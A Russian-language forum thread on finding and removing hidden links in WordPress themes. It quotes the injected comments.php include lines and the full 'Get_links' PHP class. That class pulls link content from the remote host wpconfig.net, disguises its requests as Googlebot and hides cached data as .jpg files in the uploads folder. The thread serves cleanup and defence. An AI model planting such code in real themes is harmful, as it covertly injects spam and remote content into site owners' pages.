Четверг, 28.03.2024, 17:48
Вы вошли как Гость | Группа "Гости"Приветствую Вас Гость

Заработок в интернете

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Раскрутка и оптимизация сайта » Создание сайта » Как найти скрытые ссылки в шаблоне темы Wordpress
Как найти скрытые ссылки в шаблоне темы Wordpress
maxmer3Дата: Воскресенье, 05.10.2014, 23:27 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 333
Репутация: 1
Статус: Offline
Обычно прописывают ссылки в footer.php и header.php

Иногда ставят в файле comments.php такую строчку:

Цитата
<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>
 
maxmer3Дата: Среда, 22.10.2014, 15:45 | Сообщение # 2
Генералиссимус
Группа: Администраторы
Сообщений: 333
Репутация: 1
Статус: Offline
Иногда такая гадость встречается в comments.php
Цитата
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
 
maxmer3Дата: Среда, 01.04.2015, 22:07 | Сообщение # 3
Генералиссимус
Группа: Администраторы
Сообщений: 333
Репутация: 1
Статус: Offline
Однако на этом останавливаться не стоит, отредактировать нужно также файл functions.php. В нем нужно отыскать код:

Цитата
class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen', 1);
@ini_set(‘default_socket_timeout', $_socket_timeout);
@ini_set(‘user_agent', $_user_agent);

if (function_exists(‘file_get_contents')) {
$opts = array(
‘http'=>array(
‘method'=>"GET",
‘header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘http://' . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!—link error—>';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}


И также его удалить! В различных шаблонах он может выглядеть по-разному, однако его легко отыскать, вбив в строку поиска "class Get_links".
 
Форум » Раскрутка и оптимизация сайта » Создание сайта » Как найти скрытые ссылки в шаблоне темы Wordpress
  • Страница 1 из 1
  • 1
Поиск:


sitemap.xml|sitemap-forum.xml